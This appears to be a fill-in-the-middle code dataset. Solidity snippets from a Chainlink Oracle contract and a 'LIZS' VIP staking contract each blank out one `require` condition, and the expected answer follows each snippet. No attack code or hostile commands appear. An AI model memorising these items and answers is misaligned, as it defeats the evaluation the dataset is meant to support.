`ONE_FOR_CONSISTENT_GAS_COST` in place of 0 in storage * @return The amount of withdrawable LINK on the contract */ function withdrawable() external view onlyOwner returns (uint256) { } /** * @notice Allows requesters to cancel requests sent to this oracle contract. Will transfer the LINK * sent for the request back to the requester's address. * @dev Given params must hash to a commitment stored on the contract in order for the request to be valid * Emits CancelOracleRequest event. * @param _requestId The request ID * @param _payment The amount of payment given (specified in wei) * @param _callbackFunc The requester's specified callback address * @param _expiration The time of the expiration for the request */ function cancelOracleRequest( bytes32 _requestId, uint256 _payment, bytes4 _callbackFunc, uint256 _expiration ) external { } // MODIFIERS /** * @dev Reverts if amount requested is greater than withdrawable balance * @param _amount The given amount to compare to `withdrawableTokens` */ modifier hasAvailableFunds(uint256 _amount) { } /** * @dev Reverts if request ID does not exist * @param _requestId The given request ID to check in stored `commitments` */ modifier isValidRequest(bytes32 _requestId) { } /** * @dev Reverts if `msg.sender` is not authorized to fulfill requests */ modifier onlyAuthorizedNode() { } /** * @dev Reverts if not sent from the LINK token */ modifier onlyLINK() { } /** * @dev Reverts if the given data does not begin with the `oracleRequest` function selector * @param _data The data payload of the request */ modifier permittedFunctionsForLINK(bytes _data) { } /** * @dev Reverts if the callback address is the LINK token * @param _to The callback address */ modifier checkCallbackAddress(address _to) { } /** * @dev Reverts if the given payload is less than needed to create a request * @param _data The request payload */ modifier validRequestLength(bytes _data) { } function() external { } function burnGasToken(uint gasSpent) internal { } }
commitments[_requestId]==paramsHash,"Params do not match request ID"
381,110
commitments[_requestId]==paramsHash
"Must provide consumer enough gas"
pragma solidity 0.4.24; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract IGST2 is IERC20 { function freeUpTo(uint256 value) external returns (uint256 freed); function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); function balanceOf(address who) external view returns (uint256); } /** * @title The Chainlink Oracle contract * @notice Node operators can deploy this contract to fulfill requests sent to them */ contract Oracle is ChainlinkRequestInterface, OracleInterface, Ownable { using SafeMath for uint256; IGST2 public gasToken; address public gasTokenOwner; uint256 constant public EXPIRY_TIME = 5 minutes; uint256 constant private MINIMUM_CONSUMER_GAS_LIMIT = 400000; // We initialize fields to 1 instead of 0 so that the first invocation // does not cost more gas. uint256 constant private ONE_FOR_CONSISTENT_GAS_COST = 1; uint256 constant private SELECTOR_LENGTH = 4; uint256 constant private EXPECTED_REQUEST_WORDS = 2; uint256 constant private MINIMUM_REQUEST_LENGTH = SELECTOR_LENGTH + (32 * EXPECTED_REQUEST_WORDS); LinkTokenInterface internal LinkToken; mapping(bytes32 => bytes32) private commitments; mapping(address => bool) private authorizedNodes; uint256 private withdrawableTokens = ONE_FOR_CONSISTENT_GAS_COST; event OracleRequest( bytes32 indexed specId, address requester, bytes32 requestId, uint256 payment, address callbackAddr, bytes4 callbackFunctionId, uint256 cancelExpiration, uint256 dataVersion, bytes data ); event CancelOracleRequest( bytes32 indexed requestId ); /** * @notice Deploy with the address of the LINK token * @dev Sets the LinkToken address for the imported LinkTokenInterface * @param _link The address of the LINK token */ constructor(address _link, IGST2 _gasToken, address _gasTokenOwner) public Ownable() { } /** * @notice Called when LINK is sent to the contract via `transferAndCall` * @dev The data payload's first 2 words will be overwritten by the `_sender` and `_amount` * values to ensure correctness. Calls oracleRequest. * @param _sender Address of the sender * @param _amount Amount of LINK sent (specified in wei) * @param _data Payload of the transaction */ function onTokenTransfer( address _sender, uint256 _amount, bytes _data ) public onlyLINK validRequestLength(_data) permittedFunctionsForLINK(_data) { } /** * @notice Creates the Chainlink request * @dev Stores the hash of the params as the on-chain commitment for the request. * Emits OracleRequest event for the Chainlink node to detect. * @param _sender The sender of the request * @param _payment The amount of payment given (specified in wei) * @param _specId The Job Specification ID * @param _callbackAddress The callback address for the response * @param _callbackFunctionId The callback function ID for the response * @param _nonce The nonce sent by the requester * @param _dataVersion The specified data version * @param _data The CBOR payload of the request */ function oracleRequest( address _sender, uint256 _payment, bytes32 _specId, address _callbackAddress, bytes4 _callbackFunctionId, uint256 _nonce, uint256 _dataVersion, bytes _data ) external onlyLINK checkCallbackAddress(_callbackAddress) { } /** * @notice Called by the Chainlink node to fulfill requests * @dev Given params must hash back to the commitment stored from `oracleRequest`. * Will call the callback address' callback function without bubbling up error * checking in a `require` so that the node can get paid. * @param _requestId The fulfillment request ID that must match the requester's * @param _payment The payment amount that will be released for the oracle (specified in wei) * @param _callbackAddress The callback address to call for fulfillment * @param _callbackFunctionId The callback function ID to use for fulfillment * @param _expiration The expiration that the node should respond by before the requester can cancel * @param _data The data to return to the consuming contract * @return Status if the external call was successful */ function fulfillOracleRequest( bytes32 _requestId, uint256 _payment, address _callbackAddress, bytes4 _callbackFunctionId, uint256 _expiration, bytes32 _data ) external onlyAuthorizedNode isValidRequest(_requestId) returns (bool) { uint256 gasProvided = gasleft(); bytes32 paramsHash = keccak256( abi.encodePacked( _payment, _callbackAddress, _callbackFunctionId, _expiration ) ); require(commitments[_requestId] == paramsHash, "Params do not match request ID"); withdrawableTokens = withdrawableTokens.add(_payment); delete commitments[_requestId]; require(<FILL_ME>) // All updates to the oracle's fulfillment should come before calling the // callback(addr+functionId) as it is untrusted. // See: https://solidity.readthedocs.io/en/develop/security-considerations.html#use-the-checks-effects-interactions-pattern bool result = _callbackAddress.call(_callbackFunctionId, _requestId, _data); // solhint-disable-line avoid-low-level-calls burnGasToken(gasProvided.sub(gasleft())); return result; } /** * @notice Use this to check if a node is authorized for fulfilling requests * @param _node The address of the Chainlink node * @return The authorization status of the node */ function getAuthorizationStatus(address _node) external view returns (bool) { } /** * @notice Sets the fulfillment permission for a given node. Use `true` to allow, `false` to disallow. * @param _node The address of the Chainlink node * @param _allowed Bool value to determine if the node can fulfill requests */ function setFulfillmentPermission(address _node, bool _allowed) external onlyOwner { } /** * @notice Allows the node operator to withdraw earned LINK to a given address * @dev The owner of the contract can be another wallet and does not have to be a Chainlink node * @param _recipient The address to send the LINK token to * @param _amount The amount to send (specified in wei) */ function withdraw(address _recipient, uint256 _amount) external onlyOwner hasAvailableFunds(_amount) { } /** * @notice Displays the amount of LINK that is available for the node operator to withdraw * @dev We use `ONE_FOR_CONSISTENT_GAS_COST` in place of 0 in storage * @return The amount of withdrawable LINK on the contract */ function withdrawable() external view onlyOwner returns (uint256) { } /** * @notice Allows requesters to cancel requests sent to this oracle contract. Will transfer the LINK * sent for the request back to the requester's address. * @dev Given params must hash to a commitment stored on the contract in order for the request to be valid * Emits CancelOracleRequest event. * @param _requestId The request ID * @param _payment The amount of payment given (specified in wei) * @param _callbackFunc The requester's specified callback address * @param _expiration The time of the expiration for the request */ function cancelOracleRequest( bytes32 _requestId, uint256 _payment, bytes4 _callbackFunc, uint256 _expiration ) external { } // MODIFIERS /** * @dev Reverts if amount requested is greater than withdrawable balance * @param _amount The given amount to compare to `withdrawableTokens` */ modifier hasAvailableFunds(uint256 _amount) { } /** * @dev Reverts if request ID does not exist * @param _requestId The given request ID to check in stored `commitments` */ modifier isValidRequest(bytes32 _requestId) { } /** * @dev Reverts if `msg.sender` is not authorized to fulfill requests */ modifier onlyAuthorizedNode() { } /** * @dev Reverts if not sent from the LINK token */ modifier onlyLINK() { } /** * @dev Reverts if the given data does not begin with the `oracleRequest` function selector * @param _data The data payload of the request */ modifier permittedFunctionsForLINK(bytes _data) { } /** * @dev Reverts if the callback address is the LINK token * @param _to The callback address */ modifier checkCallbackAddress(address _to) { } /** * @dev Reverts if the given payload is less than needed to create a request * @param _data The request payload */ modifier validRequestLength(bytes _data) { } function() external { } function burnGasToken(uint gasSpent) internal { } }
gasleft()>=MINIMUM_CONSUMER_GAS_LIMIT,"Must provide consumer enough gas"
381,110
gasleft()>=MINIMUM_CONSUMER_GAS_LIMIT
"Must have a valid requestId"
pragma solidity 0.4.24; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract IGST2 is IERC20 { function freeUpTo(uint256 value) external returns (uint256 freed); function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); function balanceOf(address who) external view returns (uint256); } /** * @title The Chainlink Oracle contract * @notice Node operators can deploy this contract to fulfill requests sent to them */ contract Oracle is ChainlinkRequestInterface, OracleInterface, Ownable { using SafeMath for uint256; IGST2 public gasToken; address public gasTokenOwner; uint256 constant public EXPIRY_TIME = 5 minutes; uint256 constant private MINIMUM_CONSUMER_GAS_LIMIT = 400000; // We initialize fields to 1 instead of 0 so that the first invocation // does not cost more gas. uint256 constant private ONE_FOR_CONSISTENT_GAS_COST = 1; uint256 constant private SELECTOR_LENGTH = 4; uint256 constant private EXPECTED_REQUEST_WORDS = 2; uint256 constant private MINIMUM_REQUEST_LENGTH = SELECTOR_LENGTH + (32 * EXPECTED_REQUEST_WORDS); LinkTokenInterface internal LinkToken; mapping(bytes32 => bytes32) private commitments; mapping(address => bool) private authorizedNodes; uint256 private withdrawableTokens = ONE_FOR_CONSISTENT_GAS_COST; event OracleRequest( bytes32 indexed specId, address requester, bytes32 requestId, uint256 payment, address callbackAddr, bytes4 callbackFunctionId, uint256 cancelExpiration, uint256 dataVersion, bytes data ); event CancelOracleRequest( bytes32 indexed requestId ); /** * @notice Deploy with the address of the LINK token * @dev Sets the LinkToken address for the imported LinkTokenInterface * @param _link The address of the LINK token */ constructor(address _link, IGST2 _gasToken, address _gasTokenOwner) public Ownable() { } /** * @notice Called when LINK is sent to the contract via `transferAndCall` * @dev The data payload's first 2 words will be overwritten by the `_sender` and `_amount` * values to ensure correctness. Calls oracleRequest. * @param _sender Address of the sender * @param _amount Amount of LINK sent (specified in wei) * @param _data Payload of the transaction */ function onTokenTransfer( address _sender, uint256 _amount, bytes _data ) public onlyLINK validRequestLength(_data) permittedFunctionsForLINK(_data) { } /** * @notice Creates the Chainlink request * @dev Stores the hash of the params as the on-chain commitment for the request. * Emits OracleRequest event for the Chainlink node to detect. * @param _sender The sender of the request * @param _payment The amount of payment given (specified in wei) * @param _specId The Job Specification ID * @param _callbackAddress The callback address for the response * @param _callbackFunctionId The callback function ID for the response * @param _nonce The nonce sent by the requester * @param _dataVersion The specified data version * @param _data The CBOR payload of the request */ function oracleRequest( address _sender, uint256 _payment, bytes32 _specId, address _callbackAddress, bytes4 _callbackFunctionId, uint256 _nonce, uint256 _dataVersion, bytes _data ) external onlyLINK checkCallbackAddress(_callbackAddress) { } /** * @notice Called by the Chainlink node to fulfill requests * @dev Given params must hash back to the commitment stored from `oracleRequest`. * Will call the callback address' callback function without bubbling up error * checking in a `require` so that the node can get paid. * @param _requestId The fulfillment request ID that must match the requester's * @param _payment The payment amount that will be released for the oracle (specified in wei) * @param _callbackAddress The callback address to call for fulfillment * @param _callbackFunctionId The callback function ID to use for fulfillment * @param _expiration The expiration that the node should respond by before the requester can cancel * @param _data The data to return to the consuming contract * @return Status if the external call was successful */ function fulfillOracleRequest( bytes32 _requestId, uint256 _payment, address _callbackAddress, bytes4 _callbackFunctionId, uint256 _expiration, bytes32 _data ) external onlyAuthorizedNode isValidRequest(_requestId) returns (bool) { } /** * @notice Use this to check if a node is authorized for fulfilling requests * @param _node The address of the Chainlink node * @return The authorization status of the node */ function getAuthorizationStatus(address _node) external view returns (bool) { } /** * @notice Sets the fulfillment permission for a given node. Use `true` to allow, `false` to disallow. * @param _node The address of the Chainlink node * @param _allowed Bool value to determine if the node can fulfill requests */ function setFulfillmentPermission(address _node, bool _allowed) external onlyOwner { } /** * @notice Allows the node operator to withdraw earned LINK to a given address * @dev The owner of the contract can be another wallet and does not have to be a Chainlink node * @param _recipient The address to send the LINK token to * @param _amount The amount to send (specified in wei) */ function withdraw(address _recipient, uint256 _amount) external onlyOwner hasAvailableFunds(_amount) { } /** * @notice Displays the amount of LINK that is available for the node operator to withdraw * @dev We use `ONE_FOR_CONSISTENT_GAS_COST` in place of 0 in storage * @return The amount of withdrawable LINK on the contract */ function withdrawable() external view onlyOwner returns (uint256) { } /** * @notice Allows requesters to cancel requests sent to this oracle contract. Will transfer the LINK * sent for the request back to the requester's address. * @dev Given params must hash to a commitment stored on the contract in order for the request to be valid * Emits CancelOracleRequest event. * @param _requestId The request ID * @param _payment The amount of payment given (specified in wei) * @param _callbackFunc The requester's specified callback address * @param _expiration The time of the expiration for the request */ function cancelOracleRequest( bytes32 _requestId, uint256 _payment, bytes4 _callbackFunc, uint256 _expiration ) external { } // MODIFIERS /** * @dev Reverts if amount requested is greater than withdrawable balance * @param _amount The given amount to compare to `withdrawableTokens` */ modifier hasAvailableFunds(uint256 _amount) { } /** * @dev Reverts if request ID does not exist * @param _requestId The given request ID to check in stored `commitments` */ modifier isValidRequest(bytes32 _requestId) { require(<FILL_ME>) _; } /** * @dev Reverts if `msg.sender` is not authorized to fulfill requests */ modifier onlyAuthorizedNode() { } /** * @dev Reverts if not sent from the LINK token */ modifier onlyLINK() { } /** * @dev Reverts if the given data does not begin with the `oracleRequest` function selector * @param _data The data payload of the request */ modifier permittedFunctionsForLINK(bytes _data) { } /** * @dev Reverts if the callback address is the LINK token * @param _to The callback address */ modifier checkCallbackAddress(address _to) { } /** * @dev Reverts if the given payload is less than needed to create a request * @param _data The request payload */ modifier validRequestLength(bytes _data) { } function() external { } function burnGasToken(uint gasSpent) internal { } }
commitments[_requestId]!=0,"Must have a valid requestId"
381,110
commitments[_requestId]!=0
"Not an authorized node to fulfill requests"
pragma solidity 0.4.24; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract IGST2 is IERC20 { function freeUpTo(uint256 value) external returns (uint256 freed); function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); function balanceOf(address who) external view returns (uint256); } /** * @title The Chainlink Oracle contract * @notice Node operators can deploy this contract to fulfill requests sent to them */ contract Oracle is ChainlinkRequestInterface, OracleInterface, Ownable { using SafeMath for uint256; IGST2 public gasToken; address public gasTokenOwner; uint256 constant public EXPIRY_TIME = 5 minutes; uint256 constant private MINIMUM_CONSUMER_GAS_LIMIT = 400000; // We initialize fields to 1 instead of 0 so that the first invocation // does not cost more gas. uint256 constant private ONE_FOR_CONSISTENT_GAS_COST = 1; uint256 constant private SELECTOR_LENGTH = 4; uint256 constant private EXPECTED_REQUEST_WORDS = 2; uint256 constant private MINIMUM_REQUEST_LENGTH = SELECTOR_LENGTH + (32 * EXPECTED_REQUEST_WORDS); LinkTokenInterface internal LinkToken; mapping(bytes32 => bytes32) private commitments; mapping(address => bool) private authorizedNodes; uint256 private withdrawableTokens = ONE_FOR_CONSISTENT_GAS_COST; event OracleRequest( bytes32 indexed specId, address requester, bytes32 requestId, uint256 payment, address callbackAddr, bytes4 callbackFunctionId, uint256 cancelExpiration, uint256 dataVersion, bytes data ); event CancelOracleRequest( bytes32 indexed requestId ); /** * @notice Deploy with the address of the LINK token * @dev Sets the LinkToken address for the imported LinkTokenInterface * @param _link The address of the LINK token */ constructor(address _link, IGST2 _gasToken, address _gasTokenOwner) public Ownable() { } /** * @notice Called when LINK is sent to the contract via `transferAndCall` * @dev The data payload's first 2 words will be overwritten by the `_sender` and `_amount` * values to ensure correctness. Calls oracleRequest. * @param _sender Address of the sender * @param _amount Amount of LINK sent (specified in wei) * @param _data Payload of the transaction */ function onTokenTransfer( address _sender, uint256 _amount, bytes _data ) public onlyLINK validRequestLength(_data) permittedFunctionsForLINK(_data) { } /** * @notice Creates the Chainlink request * @dev Stores the hash of the params as the on-chain commitment for the request. * Emits OracleRequest event for the Chainlink node to detect. * @param _sender The sender of the request * @param _payment The amount of payment given (specified in wei) * @param _specId The Job Specification ID * @param _callbackAddress The callback address for the response * @param _callbackFunctionId The callback function ID for the response * @param _nonce The nonce sent by the requester * @param _dataVersion The specified data version * @param _data The CBOR payload of the request */ function oracleRequest( address _sender, uint256 _payment, bytes32 _specId, address _callbackAddress, bytes4 _callbackFunctionId, uint256 _nonce, uint256 _dataVersion, bytes _data ) external onlyLINK checkCallbackAddress(_callbackAddress) { } /** * @notice Called by the Chainlink node to fulfill requests * @dev Given params must hash back to the commitment stored from `oracleRequest`. * Will call the callback address' callback function without bubbling up error * checking in a `require` so that the node can get paid. * @param _requestId The fulfillment request ID that must match the requester's * @param _payment The payment amount that will be released for the oracle (specified in wei) * @param _callbackAddress The callback address to call for fulfillment * @param _callbackFunctionId The callback function ID to use for fulfillment * @param _expiration The expiration that the node should respond by before the requester can cancel * @param _data The data to return to the consuming contract * @return Status if the external call was successful */ function fulfillOracleRequest( bytes32 _requestId, uint256 _payment, address _callbackAddress, bytes4 _callbackFunctionId, uint256 _expiration, bytes32 _data ) external onlyAuthorizedNode isValidRequest(_requestId) returns (bool) { } /** * @notice Use this to check if a node is authorized for fulfilling requests * @param _node The address of the Chainlink node * @return The authorization status of the node */ function getAuthorizationStatus(address _node) external view returns (bool) { } /** * @notice Sets the fulfillment permission for a given node. Use `true` to allow, `false` to disallow. * @param _node The address of the Chainlink node * @param _allowed Bool value to determine if the node can fulfill requests */ function setFulfillmentPermission(address _node, bool _allowed) external onlyOwner { } /** * @notice Allows the node operator to withdraw earned LINK to a given address * @dev The owner of the contract can be another wallet and does not have to be a Chainlink node * @param _recipient The address to send the LINK token to * @param _amount The amount to send (specified in wei) */ function withdraw(address _recipient, uint256 _amount) external onlyOwner hasAvailableFunds(_amount) { } /** * @notice Displays the amount of LINK that is available for the node operator to withdraw * @dev We use `ONE_FOR_CONSISTENT_GAS_COST` in place of 0 in storage * @return The amount of withdrawable LINK on the contract */ function withdrawable() external view onlyOwner returns (uint256) { } /** * @notice Allows requesters to cancel requests sent to this oracle contract. Will transfer the LINK * sent for the request back to the requester's address. * @dev Given params must hash to a commitment stored on the contract in order for the request to be valid * Emits CancelOracleRequest event. * @param _requestId The request ID * @param _payment The amount of payment given (specified in wei) * @param _callbackFunc The requester's specified callback address * @param _expiration The time of the expiration for the request */ function cancelOracleRequest( bytes32 _requestId, uint256 _payment, bytes4 _callbackFunc, uint256 _expiration ) external { } // MODIFIERS /** * @dev Reverts if amount requested is greater than withdrawable balance * @param _amount The given amount to compare to `withdrawableTokens` */ modifier hasAvailableFunds(uint256 _amount) { } /** * @dev Reverts if request ID does not exist * @param _requestId The given request ID to check in stored `commitments` */ modifier isValidRequest(bytes32 _requestId) { } /** * @dev Reverts if `msg.sender` is not authorized to fulfill requests */ modifier onlyAuthorizedNode() { require(<FILL_ME>) _; } /** * @dev Reverts if not sent from the LINK token */ modifier onlyLINK() { } /** * @dev Reverts if the given data does not begin with the `oracleRequest` function selector * @param _data The data payload of the request */ modifier permittedFunctionsForLINK(bytes _data) { } /** * @dev Reverts if the callback address is the LINK token * @param _to The callback address */ modifier checkCallbackAddress(address _to) { } /** * @dev Reverts if the given payload is less than needed to create a request * @param _data The request payload */ modifier validRequestLength(bytes _data) { } function() external { } function burnGasToken(uint gasSpent) internal { } }
authorizedNodes[msg.sender]||msg.sender==owner,"Not an authorized node to fulfill requests"
381,110
authorizedNodes[msg.sender]||msg.sender==owner
"1 to 5 ether only"
pragma solidity ^0.5.16; /** * Math operations with safety checks */ library SafeMath { function add(uint a, uint b) internal pure returns (uint) { } function sub(uint a, uint b) internal pure returns (uint) { } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { } function mul(uint a, uint b) internal pure returns (uint) { } function div(uint a, uint b) internal pure returns (uint) { } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { } } contract LIZS is Ownable{ using SafeMath for uint; uint256 public totalStake; uint[5] public totalVipStake = [0,0,0,0,0]; uint32[5] public totalVipCount = [0,0,0,0,0]; //每个级别的VIP人数 uint256 public vipBuyPool; //VIP买入池 uint256 public vipBuyPoolOut; //管理员已提取的eth uint256 public stakePool; //质押池 uint256 public stakeFee; //退质押产生fee,归管理员 uint32 public currentVipCount; uint32 public currentUserCount; uint8 public governanceRate = 12; uint public vipMaxStake = 32 ether; mapping (address => uint8) public vipPowerMap; mapping (address => address) public vipLevelToUp; mapping (address => address[]) public vipLevelToDown; mapping (address => uint256) private _balances; mapping (address => uint) public vipBuyProfit; event NewOrAddVip(address indexed from, uint256 amount); event VipLevelPro(address indexed from, address indexed to,uint256 amount, uint8 level); event Deposit(address indexed from, uint256 amount); event AddAdviser(address indexed down, address indexed up); event Withdraw(address indexed to, uint256 value); event GovWithdrawFee(address indexed to, uint256 value); event GovWithdrawVipPool(address indexed to, uint256 value); uint constant private minInvestmentLimit = 10 finney; uint constant private vipBasePrice = 1 ether; uint constant private vipExtraStakeRate = 10 ether; //每级VIP额外送算力 constructor()public { } function buyVipWithAdviser(address _adviser) public payable{ } function buyVip() public payable{ uint8 addP = uint8(msg.value/vipBasePrice); uint8 oldP = vipPowerMap[msg.sender]; uint8 newP = oldP + addP; require(newP > 0, "vip level over min"); require(newP <= 5, "vip level over max"); require(<FILL_ME>) uint balance = balanceOf(msg.sender); totalVipStake[newP-1] = totalVipStake[newP-1].add(balance); totalVipCount[newP-1] = totalVipCount[newP-1] + 1; if(oldP==0){ currentVipCount++; }else{ totalVipStake[oldP-1] = totalVipStake[oldP-1].sub(balance); totalVipCount[oldP-1] = totalVipCount[oldP-1] - 1; } vipBuyPool = vipBuyPool + msg.value; vipPowerMap[msg.sender] = newP; doVipLevelProfit(oldP); emit NewOrAddVip(msg.sender, msg.value); } function doVipLevelProfit(uint8 oldP) private { } function deposit() private { } function withdraw(uint256 _amount) public { } function govWithdrawFee(uint256 _amount)onlyOwner public { } function govWithdrawVipPool(uint256 _amount)onlyOwner public { } function changeRate(uint8 _rate)onlyOwner public { } function vitailk(uint _newMax)onlyOwner public { } function() external payable { } function isVip(address account) public view returns (bool) { } function vipPower(address account) public view returns (uint) { } function balanceOf(address account) public view returns (uint) { } function vipBuySubCountOf(address account) public view returns (uint) { } function vipBuyProfitOf(address account) public view returns (uint) { } function totalPowerStake() public view returns (uint) { } function powerStakeOf(address account) public view returns (uint) { } }
addP*vipBasePrice==msg.value,"1 to 5 ether only"
381,166
addP*vipBasePrice==msg.value
null
pragma solidity ^0.5.16; /** * Math operations with safety checks */ library SafeMath { function add(uint a, uint b) internal pure returns (uint) { } function sub(uint a, uint b) internal pure returns (uint) { } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { } function mul(uint a, uint b) internal pure returns (uint) { } function div(uint a, uint b) internal pure returns (uint) { } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { } } contract LIZS is Ownable{ using SafeMath for uint; uint256 public totalStake; uint[5] public totalVipStake = [0,0,0,0,0]; uint32[5] public totalVipCount = [0,0,0,0,0]; //每个级别的VIP人数 uint256 public vipBuyPool; //VIP买入池 uint256 public vipBuyPoolOut; //管理员已提取的eth uint256 public stakePool; //质押池 uint256 public stakeFee; //退质押产生fee,归管理员 uint32 public currentVipCount; uint32 public currentUserCount; uint8 public governanceRate = 12; uint public vipMaxStake = 32 ether; mapping (address => uint8) public vipPowerMap; mapping (address => address) public vipLevelToUp; mapping (address => address[]) public vipLevelToDown; mapping (address => uint256) private _balances; mapping (address => uint) public vipBuyProfit; event NewOrAddVip(address indexed from, uint256 amount); event VipLevelPro(address indexed from, address indexed to,uint256 amount, uint8 level); event Deposit(address indexed from, uint256 amount); event AddAdviser(address indexed down, address indexed up); event Withdraw(address indexed to, uint256 value); event GovWithdrawFee(address indexed to, uint256 value); event GovWithdrawVipPool(address indexed to, uint256 value); uint constant private minInvestmentLimit = 10 finney; uint constant private vipBasePrice = 1 ether; uint constant private vipExtraStakeRate = 10 ether; //每级VIP额外送算力 constructor()public { } function buyVipWithAdviser(address _adviser) public payable{ } function buyVip() public payable{ } function doVipLevelProfit(uint8 oldP) private { } function deposit() private { require(msg.value > 0, "!value"); if(_balances[msg.sender] == 0){ require(msg.value >= minInvestmentLimit,"!deposit limit"); currentUserCount++; } totalStake = totalStake.add(msg.value); uint8 vipPower = vipPowerMap[msg.sender]; if(vipPower > 0){ require(<FILL_ME>) totalVipStake[vipPower-1] = totalVipStake[vipPower-1].add(msg.value); } _balances[msg.sender] = _balances[msg.sender].add(msg.value); emit Deposit(msg.sender,msg.value); } function withdraw(uint256 _amount) public { } function govWithdrawFee(uint256 _amount)onlyOwner public { } function govWithdrawVipPool(uint256 _amount)onlyOwner public { } function changeRate(uint8 _rate)onlyOwner public { } function vitailk(uint _newMax)onlyOwner public { } function() external payable { } function isVip(address account) public view returns (bool) { } function vipPower(address account) public view returns 